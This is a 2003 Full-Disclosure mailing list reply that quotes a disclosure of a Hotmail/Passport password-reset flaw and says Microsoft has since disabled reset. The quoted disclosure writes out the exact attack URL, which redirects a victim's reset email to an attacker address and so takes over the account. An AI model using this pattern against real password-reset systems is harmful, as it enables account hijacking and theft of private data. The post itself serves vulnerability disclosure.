full-disclosure - Hotmail & Passport (.NET Accounts) Vulnerability

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Message-ID: <5.2.0.9.0.20030508005046.02fafeb0@mail.webcoach.com>
From: mike at m5computersecurity.com (Michael J McCafferty)
Subject: Hotmail & Passport (.NET Accounts)
  Vulnerability

Well, there ya go it's hit the mainstream press....
http://news.com.com/2100-1002_3-1000429.html?tag=lh

The story mentions that MS has turned off all password reset functionality 
by now.

At 07:50 PM 5/7/2003 -0700, Muhammad Faisal Rauf Danka wrote:
>Hotmail & Passport (.NET Accounts) Vulnerability
>
>There is a very serious and stupid vulnerability or badcoding in Hotmail / 
>Passport???s (.NET Accounts)
>
>I tried sending emails several times to Hotmail / Passport contact 
>addresses, but always met with the NLP bots.
>
>I guess I don???t need to go in details of how cruical and important 
>Hotmail / Passport???s .NET Account passport is to anyone.
>
>You name it and they have it, E-Commerce, Credit Card processing, Personal 
>Emails, Privacy Issues, Corporate Espionage, maybe stalkers and what not.
>
>It is so simple that it is funny.
>
>All you got to do is hit the following in your browser:
>
>https://register.passport.net/emailpwdreset.srf?lc=1033&em=victim@hotmail.com&id=&cb=&prefem=attacker@attacker.com&rst=1
>
>And you???ll get an email on attacker@...acker.com asking you to click on 
>a url something like this:
>
>http://register.passport.net/EmailPage.srf?EmailID=CD4DC30B34D9ABC6&URLNum=0&lc=1033
>
> >From that url, you can reset the password and I don???t think I need to 
> say anything more about it.
>
>Vulnerability / Flaw discovered         :       12th April 2003
>Vendor / Owner notified         :       Yes (as far as emailing them more 
>than 10 times is concerned)
>
>
>Regards
>--------
>Muhammad Faisal Rauf Danka
>
>_____________________________________________________________
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**************************************************
Michael J. McCafferty
Principal, Security Engineer
M5 Computer Security
858-576-7325 Voice
http://www.m5computersecurity.com
**************************************************
--- "If you build it, they will hack !" ---